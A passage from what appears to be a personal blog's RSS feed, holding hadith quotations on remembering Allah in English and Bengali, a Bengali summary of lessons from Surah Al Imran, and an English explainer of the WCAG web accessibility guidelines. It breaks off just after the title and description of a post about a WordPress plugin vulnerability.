&lt;p&gt;&apos;&apos;Then you should go to the mosque and acquire some knowledge, or recite two aayaat from the Book of Allaah, that would be better for you than two she-camels, and three aayaat are better than three she-camels, and four aayaat are better than four she-camels, and the same for a like number of male camels&apos;&apos; [6]&lt;/p&gt;
&lt;p&gt;উকবা ইবন আমের রাদিয়াল্লাহু ‘আনহু বলেন, একবার রাসূলুল্লাহ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম বের হলেন। আমরা তখন সুফ্‌ফায় (মসজিদে নববীর আঙ্গিনায়) অবস্থান করছিলাম। তিনি বললেন, “তোমাদের মধ্যে কে আছে, যে প্রতিদিন সকালে বুতহান বা আকীক উপত্যকায় গিয়ে সেখান থেকে কোনো প্রকার পাপ বা আত্মীয়তার বন্ধন ছিন্ন না করে উঁচু কুঁজবিশিষ্ট দু’টো উষ্ট্রী নিয়ে আসতে পছন্দ করে”? আমরা বললাম, হে আল্লাহ্‌র রাসূল! আমরা তা পছন্দ করি। তিনি বললেন: “তোমাদের কেউ কি এরূপ করতে পার না যে, সকালে মসজিদে গিয়ে মহান আল্লাহ্‌র কিতাব থেকে দুটো আয়াত জানবে অথবা পড়বে; এটা তার জন্য দু’টো উষ্ট্রীর তুলনায় উত্তম। আর তিনটি আয়াত তিনটি উষ্ট্রী থেকে উত্তম, চারটি আয়াত চারটি উষ্ট্রী থেকে উত্তম। আর (শুধু উষ্ট্রীই নয়, বরং একইসাথে) সমসংখ্যক উট লাভ করা থেকেও তা উত্তম হবে।” [৬]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The Prophet (sal-Allaahu &apos;alayhe wa sallam) also said:&lt;/p&gt;
&lt;p&gt;&apos;&apos;Whoever takes a seat and fails to remember Allaah, has incurred upon himself a loss from Allaah, and whoever lies down [relaxes] and fails to remember Allaah, has incurred upon himself a loss from Allaah&apos;&apos; [7]&lt;/p&gt;
&lt;p&gt;রাসূলুল্লাহ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম আরও বলেন: “যে ব্যক্তি এমন কোনো বৈঠকে (মজলিসে) বসেছে যেখানে সে আল্লাহ্‌র যিক্‌র করে নি, তার সে বসাই আল্লাহ্‌র নিকট থেকে তার জন্য আফসোস ও নৈরাশ্যজনক হবে। আর যে ব্যক্তি এমন কোনো শয়নে শুয়েছে যেখানে সে আল্লাহ্‌র যিক্‌র করে নি, তার সে শোয়াই আল্লাহ্‌র নিকট থেকে তার জন্য আফসোস ও নৈরাশ্যজনক হবে।” [৭]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;He (sal-Allaahu &apos;alayhe wa sallam) also said:&lt;/p&gt;
&lt;p&gt;&apos;&apos;Whenever a people sit in a gathering in which they fail to remember Allaah and send prayers upon the Prophet they incur a loss upon themselves and if Allaah willed He would punish them and if He willed He would forgive them&apos;&apos; [8]&lt;/p&gt;
&lt;p&gt;রাসূলুল্লাহ্‌ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম আরও বলেন: “যদি কোনো দল কোনো বৈঠকে বসে আল্লাহ্‌র যিক্‌র না করে এবং তাদের নবীর ওপর দরূদও পাঠ না করে, তাহলে তাদের সেই বৈঠক তাদের জন্য কমতি ও আফসোসের কারণ হবে। আল্লাহ ইচ্ছা করলে তাদেরকে শাস্তি দেবেন, অথবা তিনি চাইলে তাদের ক্ষমা করবেন।” [৮]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Similarly, he (sal-Allaahu &apos;alayhe wa sallam) said:&lt;/p&gt;
&lt;p&gt;&apos;&apos;Whenever a people rise from a gathering in which they failed to remember Allaah, they rise as if they had arisen from the corpse of an ass and incurring upon themselves grief&apos;&apos; [9]&lt;/p&gt;
&lt;p&gt;রাসূলুল্লাহ্‌ সাল্লাল্লাহু আলাইহি ওয়াসাল্লাম আরও বলেন : “যদি কোনো একদল লোক এমন কোনো বৈঠক থেকে উঠল, যেখানে তারা আল্লাহ্‌র নাম স্মরণ করে নি, তবে তারা যেন গাধার লাশের কাছ থেকে উঠে আসল। আর এরূপ মজলিস তাদের জন্য আফসোসের কারণ হবে”। আল্লাহ ইচ্ছা করলে তাদেরকে শাস্তি দেবেন, অথবা তিনি চাইলে তাদের ক্ষমাকরবেন।” [৯]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Reference: &lt;a href=&quot;https://dua.gtaf.org/dua/1/&quot;&gt;https://dua.gtaf.org/dua/1/&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2026-01-26T00:00:00.000Z</atom:updated><category>hisnul-muslim</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>সূরা আলে ইমরানের শিক্ষাসমূহ</title><link>https://hurayraiit.com/blog/lessons-from-surah-al-imran/</link><guid isPermaLink="true">https://hurayraiit.com/blog/lessons-from-surah-al-imran/</guid><description>সূরা আলে ইমরানের শিক্ষাসমূহ — বদর ও উহুদ যুদ্ধ, ঈসা আলাইহিস সালামের জন্মবৃত্তান্ত এবং সূরার গুরুত্বপূর্ণ আদেশ ও নিষেধ।</description><pubDate>Fri, 16 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;সূরা আলে ইমরান আল কুরআনের তৃতীয় সূরা। আলে ইমরান মানে ইমরানের বংশধর। ইমরান হলেন ঈসা (আঃ) এর নানা। এই সূরায় ঈসা (আঃ)-এর অলৌকিকভাবে জন্ম, তাঁর মুজিযা, মা মারিয়ামের সচ্চরিত্র, মারিয়াম গর্ভে থাকাকালীন তাঁর মায়ের (ঈসার নানী) মানত ও তৎপরবর্তী ঘটনাবলি উল্লেখ করা হয়েছে, সেই জন্য এই সূরার নাম আলে ইমরান।&lt;/p&gt;
&lt;p&gt;পাশাপাশি বার্ধক্যে যাকারিয়া (আঃ)-এর সন্তান প্রার্থনা এবং সেই প্রেক্ষিতে সন্তান হিসাবে ইয়াহইয়াকে দান করার ঘটনাও বর্ণিত হয়েছে। ৩/৩৮-৪১&lt;/p&gt;
&lt;h2&gt;ঘটনাবলি&lt;/h2&gt;
&lt;p&gt;বদর ইসলামের ইতিহাসের প্রথম ঐতিহাসিক বড় যুদ্ধ। এই যুদ্ধে কাফিরদের তুলনায় মুসলমানরা সংখ্যা ও সরঞ্জামে পিছিয়ে ছিল। আল্লাহ্‌ ফেরেশতা পাঠিয়ে অলৌকিকভাবে মুসলমানদের সাহায্য করেন। ৩/১২৩-১২৫&lt;/p&gt;
&lt;p&gt;উহুদ যুদ্ধে মুসলিমরা প্রথমদিকে সাফল্য পেলেও রাসুল (সাল্লাল্লাহু আলাইহি ওয়া সাল্লাম)-এর একটি নির্দেশ থেকে সরে যাওয়ার কারণে বিপর্যয়ের শিকার হন। এতে স্বয়ং নবিজী সহ অনেকে আহত হন এবং সত্তরজন সাহাবি শাহাদাত বরণ করেন। এর প্রেক্ষিতে আল্লাহ্‌ মুসলমানদের বেশ কিছু উপদেশ ও সান্ত্বনা দিয়ে বলেছেন, তোমরা হিনম্মন্য হবে না, চিন্তিত হবে না, প্রকৃত মুমিন হলে তোমরাই চূড়ান্তভাবে বিজয়ী হবে। আর মহান আল্লাহ্‌ জয় পরাজয়ের পালাবদল ঘটান। এ যুদ্ধে রাসুল (সাঃ) এর নিহত হওয়ার গুজব ছড়িয়ে পরে। আল্লাহ্‌ এ প্রসঙ্গে আলোকপাত করে বলেন, রাসুলের (সাঃ) মৃত্যুসংবাদ গুজব হলেও অন্যান্য নবীদের মতো একদিন তিনি দুনিয়া থেকে বিদায় নেবেন। ৩/১৩৯-১৭২&lt;/p&gt;
&lt;p&gt;পৃথিবীর প্রথম ঘর, যেটি মানুষের ইবাদাতের জন্য তৈরি করা হয়েছে, সেটি হল মক্কার কাবাঘর। সেই ঘরকে মহান আল্লাহ্‌ বরকতময় এবং মানবজাতির জন্য পথপ্রদর্শনের মাধ্যম বলেছেন। ৩/৯৬, ৯৭&lt;/p&gt;
&lt;h2&gt;আদেশ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌ ও তাঁর রাসুলের আনুগত্য করা। ৩/৩২&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌কে অধিক স্মরণ করা এবং সকাল-সন্ধ্যায় তাঁর মহিমা ঘোষণা করা। ৩/৪১&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র ইবাদাত করা। ৩/৫১&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র রাস্তায় প্রিয় বস্তু ব্যয় করা। ৩/৯২&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;একনিষ্ঠভাবে ইব্রাহিম (আঃ) এর ধর্মের (আদর্শ) অনুসরণ করা। ৩/৯৫&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌কে যথাযথভাবে ভয় করা। ৩/১০২, ১২৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;সবাই মিলে ঐক্যবদ্ধভাবে আল্লাহ্‌র রজ্জুকে আঁকড়ে ধরা। ৩/১০৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌ ও তাঁর রাসুলের আনুগত্য করা। ৩/১৩২&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র পক্ষ হতে ক্ষমা ও জান্নাত লাভের প্রতিযোগিতায় অবতীর্ণ হওয়া। ৩/১৩৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ক্ষমা করা, অন্যের মাগফিরাত কামনা করা, কাজের আগে পরামর্শ করা, আল্লাহ্‌র উপর ভরসা করা। ৩/১৫৯&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌ ও তাঁর রাসুলদের প্রতি ঈমান আনা। ৩/১৭৯&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;সৎ কাজের আদেশ ও অসৎ কাজ থেকে নিষেধ করা। ৩/১০৪&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র নিয়ামত স্মরণ করা। ৩/১০৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ধৈর্য ধারণ করা, যুদ্ধে অবিচল থাকা ও সীমান্ত পাহারা দেওয়া। ৩/২০০&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;সামর্থ্যবান হলে বাইতুল্লাহর হজ্ব করা। ৩/৯৭&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;নিষেধ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;কাফিরদের বন্ধু হিসাবে গ্রহণ না করা। ৩/২৮&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;পরিপূর্ণ মুসলমান না হয়ে মৃত্যুবরণ না করা। ৩/১০২&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(মুসলমানরা) পরস্পর বিচ্ছিন্ন না হওয়া। ৩/১০৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;পরস্পর বিভেদ সৃষ্টি না করা। ৩/১০৫&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;মুমিন কর্তৃক অন্যদেরকে অন্তরঙ্গ বন্ধু হিসাবে গ্রহণ না করা। ৩/১১৮&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;চক্রবৃদ্ধি হারে সুদ না খাওয়া। ৩/১৩০&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;শয়তানের দোসরদের ভয় না করা। ৩/১৭৫&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;দৃষ্টান্ত&lt;/h2&gt;
&lt;p&gt;আল্লাহ্‌ ঈসা (আঃ) এর দৃষ্টান্ত দিয়েছেন আদম (আঃ) এর সাথে। উভয়কে তিনি পিতা ছাড়া সৃষ্টি করেছেন। পার্থক্য শুধু আদমকে পিতামাতা ছাড়া আর ঈসাকে পিতা ছাড়া সৃষ্টি করেছেন। ৩/৫৯&lt;/p&gt;
&lt;p&gt;কাফিরদের সৎকর্মের বিনিময় দুনিয়াতেই দেওয়া হয়। কুফুরির কারণে আখিরাতে তারা কোন সওয়াব পাবে না। বিষয়টিকে শস্যক্ষেত্রে হিমশীতল ঝড়ো বাতাসের সঙ্গে তুলনা করা হয়েছে। অর্থাৎ তাদের ভাল কাজকে শস্যক্ষেত্র এবং কুফুরির কারণে সেসবের বিনিময় নষ্ট হওয়াকে হিমশীতল ঝড়ো বাতাসের সঙ্গে তুলনা করা হয়েছে। এক্ষেত্রে আল্লাহ্‌ তাদের প্রতি জুলুম করছেন বলার সুযোগ নেই। কারণ, কুফুরির মাধ্যমে তারা নিজেরাই নিজেদের কর্মফল নষ্ট করেছে। ৩/১১৭&lt;/p&gt;
&lt;h2&gt;সুসংবাদ ও সতর্কবার্তা&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;মুমিনদের সুসংবাদ এবং কাফিরদের বেদনাদায়ক শাস্তির সংবাদ দিতে বলা হয়েছে। ৩/২১&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ইসলামই আল্লাহ্‌র নিকট একমাত্র মনোনীত ধর্ম। এছাড়া অন্য কোন ধর্ম গ্রহণযোগ্য হবে না। ৩/৮৫&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌ আমাদের সব কিছুই দেখেন। ৩/১৫, ৩/২০&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;আল্লাহ্‌র প্রিয়-অপ্রিয়&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌ মুত্তাকীদের ভালবাসেন। ৩/৭৬&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;তিনি কাফির ও জালিমদের ভালবাসেন না। ৩/৩২, ৩/৫৭&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;বিশেষ শিক্ষা&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌কে ভালবাসার দাবি করলে রাসুল (সাঃ) এর অনুসরণ করতে হবে। ৩/৩১&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ইহুদিদের মধ্যেও এমন লোক আছে যার কাছে সম্পদ আমানত রাখলে সে রক্ষা করে। সুতরাং শত্রুর কোন ভাল গুণ থাকলে স্বীকার করতে হবে। ৩/৬৭,৭৫&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;নারী, সন্তান, সোনা-রূপা এবং স্থাবর-অস্থাবর সম্পদসমূহকে মানুষের জন্য সুশোভিত করা হয়েছে। এগুলো ক্ষণস্থায়ী, পার্থিব জীবনের ভোগসামগ্রী মাত্র। আল্লাহ্‌র কাছে রয়েছে সর্বোত্তম অবস্থান। ৩/১৪&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;মুত্তাকীদের বৈশিষ্ট্য এবং বুদ্ধিমানের পরিচয়&lt;/h2&gt;
&lt;p&gt;মহান আল্লাহ্‌ জান্নাত প্রস্তুত করেছেন মুত্তাকীদের জন্য। সমগ্র কুরআন জুড়ে মুত্তাকীদের বিভিন্ন বৈশিষ্ট্য বর্ণিত হয়েছে। সূরা আলে ইমরানের দুটি আয়াতে মুত্তাকীদের চারটি বৈশিষ্ট্য উঠে এসেছে-&lt;/p&gt;
&lt;p&gt;(১) তারা সচ্ছল-অসচ্ছল সকল অবস্থায় আল্লাহ্‌র রাস্তায় ব্যয় করে।&lt;br /&gt;
(২) তারা ক্রোধ সংবরণ করে।&lt;br /&gt;
(৩) তারা মানুষকে ক্ষমা করে।&lt;br /&gt;
(৪) তারা কখনো কোন অশ্লীল কাজ কিংবা নিজের প্রতি জুলুম (গুনাহ) করে ফেললে আল্লাহ্‌কে স্মরণ করে এবং পাপের জন্য ক্ষমা প্রার্থনা করে। ৩/১৩৪, ১৩৫&lt;/p&gt;
&lt;p&gt;নভোমণ্ডল ও ভূমণ্ডলের সৃষ্টি এবং রাতদিনের পালাবদলে বুদ্ধিমানের জন্য রয়েছে আল্লাহ্‌র কুদরতের নিদর্শন; যারা সর্বদা আল্লাহ্‌কে স্মরণ করে এবং সৃষ্টির নিগুঢ় তত্ত্ব ও রহস্য উদঘাটন করতে পারে। ৩/১৯০,১৯১&lt;/p&gt;
&lt;p&gt;সকল প্রাণীকেই মৃত্যুর স্বাদ আস্বাদন করতে হবে এবং কিয়ামতের দিন সবার প্রাপ্য কর্মফল বুঝিয়ে দেওয়া হবে। সেদিন যে জাহান্নাম থেকে মুক্তি পেয়ে জান্নাতে প্রবেশের সুযোগ পাবে, সেই হল প্রকৃত ও চূড়ান্ত সফল। একই কথা কুরআনের বিভিন্ন স্থানে উল্লেখ করা হয়েছে। ৩/১৩১,১৩৩&lt;/p&gt;
&lt;h2&gt;দোয়া&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;হে আমাদের রব, আপনি হেদায়েত দেওয়ার পর আমাদের অন্তরসমূহ বক্র করবেন না এবং আপনার পক্ষ থেকে আমাদেরকে রহমত দান করুন। নিশ্চয় আপনি মহাদাতা। ৩/৮&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;হে আমাদের রব, আমরা ঈমান এনেছি। সুতরাং আমাদের পাপরাশি ক্ষমা করুন এবং আমাদেরকে জাহান্নামের শাস্তি থেকে রক্ষা করুন। ৩/১৬&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;হে আমাদের প্রতিপালক, আমাদের গুনাহসমূহ এবং আমাদের কার্যাবলীতে ঘটে যাওয়া আমাদের সীমালঙ্ঘন ক্ষমা করে দিন। আমাদের দৃঢ়পদ রাখুন এবং কাফির সম্প্রদায়ের ওপর আমাদের বিজয় দান করুন। ৩/১৪৭&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;হে আমাদের প্রতিপালক, আমাদের গুনাহসমূহ ক্ষমা করে দিন, আমাদের মন্দ কাজগুলো মিটিয়ে দিন এবং আমাদেরকে পুণ্যবানদের মধ্যে শামিল করে নিজের কাছে তুলে নিন। হে আমাদের প্রতিপালক, আমাদের সেই সবকিছু দান করুন, যার প্রতিশ্রুতি আপনি নিজ রাসুলগনের মাধ্যমে আমাদেরকে দিয়েছেন। আমাদেরকে কিয়ামতের দিন লাঞ্ছিত করবেন না। নিশ্চয় আপনি কখন প্রতিশ্রুতির বিপরীত করবেন না। ৩/১৯৩-১৯৪&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;এই লেখাগুলো শায়খ আহমাদুল্লাহ (হাফিযাহুল্লাহ) কর্তৃক রচিত &quot;তারাবীহর সালাতে কুরআনের বার্তা&quot; বই থেকে সংগ্রহ করা হয়েছে। আল্লাহ্‌ শায়খকে উত্তম জাযা দান করুন।&lt;/p&gt;
</content:encoded><atom:updated>2026-01-16T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>What Is WCAG? Web Accessibility Guidelines Explained</title><link>https://hurayraiit.com/blog/what-is-wcag/</link><guid isPermaLink="true">https://hurayraiit.com/blog/what-is-wcag/</guid><description>What is WCAG? A plain-language guide to Web Content Accessibility Guidelines — who created them, why they matter, and how they make the web usable for everyone.</description><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the digital age, the internet isn&apos;t just a luxury—it’s a necessity. From banking and education to healthcare and social connection, we rely on the web for almost everything. But for millions of people with disabilities, many websites remain frustratingly difficult to use.&lt;/p&gt;
&lt;p&gt;That is where &lt;strong&gt;WCAG&lt;/strong&gt; comes in. If you are a developer, designer, or business owner, understanding WCAG is the first step toward building a more inclusive digital world.&lt;/p&gt;
&lt;h2&gt;What is WCAG?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;WCAG&lt;/strong&gt; stands for &lt;strong&gt;Web Content Accessibility Guidelines&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Developed by the &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/World_Wide_Web_Consortium&quot;&gt;World Wide Web Consortium (W3C)&lt;/a&gt;&lt;/strong&gt; under their Web Accessibility Initiative (WAI), WCAG is a set of technical standards and guidelines designed to make web content more accessible to people with disabilities. This includes people with visual, auditory, physical, speech, cognitive, language, learning, and neurological disabilities.&lt;/p&gt;
&lt;p&gt;While it is a technical document, the goal is simple: to ensure that the web works for everyone, regardless of how they interact with it.&lt;/p&gt;
&lt;h2&gt;Why was it made?&lt;/h2&gt;
&lt;p&gt;The internet was originally built without a universal set of rules for accessibility. As a result, many early websites were unusable for people using assistive technologies like screen readers or voice control software.&lt;/p&gt;
&lt;p&gt;WCAG was created to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Establish a Universal Standard:&lt;/strong&gt; Provide a single, shared standard for web accessibility that meets the needs of individuals, organizations, and governments internationally.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Future-Proof the Web:&lt;/strong&gt; Ensure that as technology evolves (from desktops to mobile phones to VR), accessibility remains a core component.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Legal Compliance:&lt;/strong&gt; Provide a framework that governments can use to create laws (like the ADA in the US or the EAA in Europe) to protect the rights of people with disabilities.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The Four Pillars of WCAG (POUR)&lt;/h2&gt;
&lt;p&gt;WCAG is organized around four fundamental principles, often referred to by the acronym &lt;strong&gt;POUR&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Perceivable:&lt;/strong&gt; Users must be able to perceive the information being presented. It can&apos;t be &quot;invisible&quot; to all their senses (e.g., providing text alternatives for images).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Operable:&lt;/strong&gt; Users must be able to operate the interface. The UI cannot require interaction that a user cannot perform (e.g., making all functions available via a keyboard).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Understandable:&lt;/strong&gt; Users must be able to understand the information and the operation of the user interface (e.g., making sure text is readable and navigation is predictable).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Robust:&lt;/strong&gt; Content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Evolution and Versions&lt;/h2&gt;
&lt;p&gt;WCAG is a living standard that evolves alongside technology.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Version&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Released&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Focus&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WCAG 1.0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1999&lt;/td&gt;
&lt;td&gt;The first attempt to standardize web accessibility.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WCAG 2.0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2008&lt;/td&gt;
&lt;td&gt;Introduced the &quot;POUR&quot; principles and became the basis for most global laws.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WCAG 2.1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2018&lt;/td&gt;
&lt;td&gt;Added guidelines for mobile devices, low vision, and cognitive disabilities.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WCAG 2.2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;Added more criteria for focus appearance, pointer gestures, and redundant entry.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WCAG 3.0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;In Progress&lt;/td&gt;
&lt;td&gt;Often called &quot;Silver,&quot; this will be a major overhaul of the scoring and structure.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Conformance Levels: A, AA, and AAA&lt;/h2&gt;
&lt;p&gt;WCAG guidelines are categorized into three levels of &quot;conformance,&quot; representing the degree of accessibility:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Level A:&lt;/strong&gt; The bare minimum. Without meeting these, the site is nearly impossible for people with disabilities to use.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Level AA:&lt;/strong&gt; The global benchmark. Most laws and corporate policies require Level AA compliance. It removes the most common barriers for the widest range of users.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Level AAA:&lt;/strong&gt; The &quot;gold standard.&quot; This is the highest and most complex level of accessibility, often required for specialized sites.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Real-World Examples of Guidelines&lt;/h2&gt;
&lt;p&gt;What does WCAG look like in practice? Here are a few common success criteria:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Non-text Content (1.1.1 - Level A):&lt;/strong&gt; All images must have &quot;alt text&quot; so screen readers can describe the image to blind users.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Contrast (Minimum) (1.4.3 - Level AA):&lt;/strong&gt; Text must have a high enough contrast ratio against its background so it can be read by people with low vision.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Keyboard (2.1.1 - Level A):&lt;/strong&gt; Everything you can do with a mouse, you must also be able to do using only a keyboard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Error Identification (3.3.1 - Level A):&lt;/strong&gt; If a user makes a mistake in a form, the site must clearly point out where the error is and explain it in text.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Where can I find the guidelines?&lt;/h2&gt;
&lt;p&gt;The official source for everything WCAG is the &lt;strong&gt;W3C website&lt;/strong&gt;. Because the technical documentation can be dense, they provide several helpful resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.w3.org/WAI/WCAG22/quickref/&quot;&gt;WCAG 2.2 Quick Reference&lt;/a&gt;:&lt;/strong&gt; A customizable checklist that allows you to filter by level (A/AA/AAA) and technology.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.w3.org/WAI/tutorials/&quot;&gt;WAI Tutorials&lt;/a&gt;:&lt;/strong&gt; Practical guides on how to implement accessible menus, forms, and images.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;WCAG might seem like a daunting list of rules, but at its heart, it’s about &lt;strong&gt;empathy and equity&lt;/strong&gt;. By following these guidelines, you aren&apos;t just &quot;checking boxes&quot;—you are ensuring that the digital world stays open to everyone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.wcag.com/resource/what-is-wcag/&quot;&gt;https://www.wcag.com/resource/what-is-wcag/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Web_Content_Accessibility_Guidelines&quot;&gt;https://en.wikipedia.org/wiki/Web_Content_Accessibility_Guidelines&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><atom:updated>2026-01-15T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-23550: CVSS 10 Privilege Escalation in Modular DS</title><link>https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/</guid><description>CVE-2026-23550: CVSS 10.0 unauthenticated privilege escalation in WordPress Modular DS plugin — zero-day analysis, impact assessment, and response steps.</description><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the world of 